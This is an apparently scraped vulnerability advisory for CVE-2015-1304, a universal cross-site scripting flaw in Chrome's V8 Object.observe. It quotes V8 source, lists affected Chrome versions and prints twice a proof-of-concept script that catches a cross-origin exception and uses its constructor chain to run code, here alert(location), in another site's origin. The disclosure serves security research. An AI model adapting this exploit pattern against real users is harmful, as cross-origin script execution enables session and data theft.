Chrome Universal XSS using exceptions thrown from Object.observe (CVE-2015-1304)

2017-04-2400:00:00

Root

www.seebug.org

0.014 Low

EPSS

Percentile

84.8%

JSON

VULNERABILITY DETAILS

From /v8/src/object-observe.js:

function ObjectObserve(object, callback, acceptList) {
(...)
  var objectObserveFn = %GetObjectContextObjectObserve(object);
  return objectObserveFn(object, callback, acceptList);
}

From /v8/src/runtime/runtime-observe.cc:

RUNTIME_FUNCTION(Runtime_GetObjectContextObjectObserve) {
(...)
  Handle&lt;Context&gt; context(object-&gt;GetCreationContext(), isolate);
  return context-&gt;native_object_observe();
}

|objectObserveFn| is derived from the observed object’s creation context, potentially cross-origin. When this function is invoked, any subsequent exceptions will be created in the aforementioned context, and they’ll propagated to a try-catch handler.

VERSION

Chrome 45.0.2454.85 (Stable)
Chrome 46.0.2490.22 (Beta)
Chrome 47.0.2503.0 (Dev)
Chromium 47.0.2510.0 (Release build compiled today)

REPRODUCTION CASE

&lt;script&gt;
var i = document.documentElement.appendChild(document.createElement('iframe'));
i.onload = function() {
  try {
    Object.observe(frames[0].location, Map, 0);
  } catch(e) {
    e.constructor.constructor('alert(location)')();
  }
}
i.src = 'https://abc.xyz';
&lt;/script&gt;


                                                <script>
var i = document.documentElement.appendChild(document.createElement('iframe'));
i.onload = function() {
  try {
    Object.observe(frames[0].location, Map, 0);
  } catch(e) {
    e.constructor.constructor('alert(location)')();
  }
}
i.src = 'https://abc.xyz';
</script>